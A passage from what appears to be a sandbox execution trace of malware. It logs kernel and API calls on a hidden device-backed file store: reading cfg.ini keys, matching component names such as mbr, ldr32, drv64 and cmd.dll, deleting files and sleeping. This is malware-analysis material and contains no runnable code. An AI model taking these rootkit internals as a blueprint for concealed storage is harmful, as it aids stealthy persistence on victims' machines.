_Dest="0d24eb7c\\cfg.ini") returned 16 [0121.878] KeEnterCriticalRegion () [0121.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bea000 [0121.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.878] IdePortDispatch () returned 0x103 [0121.878] KeWaitForMutexObject () returned 0x0 [0121.878] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.878] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.878] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.878] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.878] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.878] IdePortDispatch () returned 0x103 [0121.878] KeWaitForMutexObject () returned 0x0 [0121.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.878] KeLeaveCriticalRegion () [0121.878] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.879] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.879] KeEnterCriticalRegion () [0121.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.879] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.879] KeLeaveCriticalRegion () [0121.879] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.879] KeEnterCriticalRegion () [0121.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.879] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.879] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.879] KeLeaveCriticalRegion () [0121.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.879] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.879] KeEnterCriticalRegion () [0121.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.879] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.879] KeLeaveCriticalRegion () [0121.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.879] ReleaseMutex (hMutex=0xf0) returned 1 [0121.879] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.879] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.880] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.880] KeEnterCriticalRegion () [0121.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.880] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.880] IdePortDispatch () returned 0x103 [0121.880] KeWaitForMutexObject () returned 0x0 [0121.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.880] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.880] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.880] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.880] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.880] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc62c0 [0121.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.880] KeLeaveCriticalRegion () [0121.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.880] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.880] KeEnterCriticalRegion () [0121.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.880] KeLeaveCriticalRegion () [0121.880] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.880] KeEnterCriticalRegion () [0121.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.881] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.881] IdePortDispatch () returned 0x103 [0121.881] KeWaitForMutexObject () returned 0x0 [0121.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.881] KeLeaveCriticalRegion () [0121.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.881] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.881] KeEnterCriticalRegion () [0121.881] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.881] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000beb000 [0121.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.881] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.881] IdePortDispatch () returned 0x103 [0121.882] KeWaitForMutexObject () returned 0x0 [0121.882] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.882] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.882] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.882] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.882] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.882] IdePortDispatch () returned 0x103 [0121.882] KeWaitForMutexObject () returned 0x0 [0121.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.882] KeLeaveCriticalRegion () [0121.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.883] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.883] KeEnterCriticalRegion () [0121.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.883] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.883] KeLeaveCriticalRegion () [0121.883] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.883] KeEnterCriticalRegion () [0121.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.883] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.883] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.883] KeLeaveCriticalRegion () [0121.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.883] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.883] KeEnterCriticalRegion () [0121.883] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.883] ExFreePoolWithTag (P=0xfffffa8003bc62c0, Tag=0x0) [0121.883] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.883] KeLeaveCriticalRegion () [0121.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.883] ReleaseMutex (hMutex=0xf0) returned 1 [0121.883] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.883] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.883] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.883] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.883] KeEnterCriticalRegion () [0121.884] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.884] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.884] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.884] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.884] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.884] IdePortDispatch () returned 0x103 [0121.884] KeWaitForMutexObject () returned 0x0 [0121.884] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.884] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.884] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.884] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.884] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.884] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.884] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.884] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.884] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.884] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.884] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.884] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.884] KeLeaveCriticalRegion () [0121.884] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.884] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.884] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.885] KeEnterCriticalRegion () [0121.885] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.885] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.885] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.885] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.885] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.885] IdePortDispatch () returned 0x103 [0121.885] KeWaitForMutexObject () returned 0x0 [0121.885] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.885] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.885] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.885] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.885] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.885] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.885] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.885] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.885] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.885] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.885] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.885] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.885] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.885] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.885] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.885] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.885] KeLeaveCriticalRegion () [0121.885] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.885] ReleaseMutex (hMutex=0x100) returned 1 [0121.885] Sleep (dwMilliseconds=0x2bf20) [0121.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bda5010, dwHighDateTime=0x1d24fa4)) [0121.893] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.893] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.893] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.893] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.893] KeEnterCriticalRegion () [0121.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.893] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.893] IdePortDispatch () returned 0x103 [0121.893] KeWaitForMutexObject () returned 0x0 [0121.893] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.893] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.893] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.893] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.893] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.894] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc60d0 [0121.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.894] KeLeaveCriticalRegion () [0121.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.894] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.894] KeEnterCriticalRegion () [0121.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.894] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.894] KeLeaveCriticalRegion () [0121.894] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.894] KeEnterCriticalRegion () [0121.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.894] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.894] IdePortDispatch () returned 0x103 [0121.894] KeWaitForMutexObject () returned 0x0 [0121.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.894] KeLeaveCriticalRegion () [0121.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.895] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.895] KeEnterCriticalRegion () [0121.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.895] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bee000 [0121.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.895] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.895] IdePortDispatch () returned 0x103 [0121.895] KeWaitForMutexObject () returned 0x0 [0121.895] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.895] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.895] IdePortDispatch () returned 0x103 [0121.895] KeWaitForMutexObject () returned 0x0 [0121.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.896] KeLeaveCriticalRegion () [0121.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.896] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.896] KeEnterCriticalRegion () [0121.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.896] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.896] KeLeaveCriticalRegion () [0121.896] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.896] KeEnterCriticalRegion () [0121.896] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.896] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.896] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.896] KeLeaveCriticalRegion () [0121.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.897] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.897] KeEnterCriticalRegion () [0121.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.897] ExFreePoolWithTag (P=0xfffffa8003bc60d0, Tag=0x0) [0121.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.897] KeLeaveCriticalRegion () [0121.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.897] ReleaseMutex (hMutex=0xf0) returned 1 [0121.897] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.897] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.897] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.897] KeEnterCriticalRegion () [0121.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 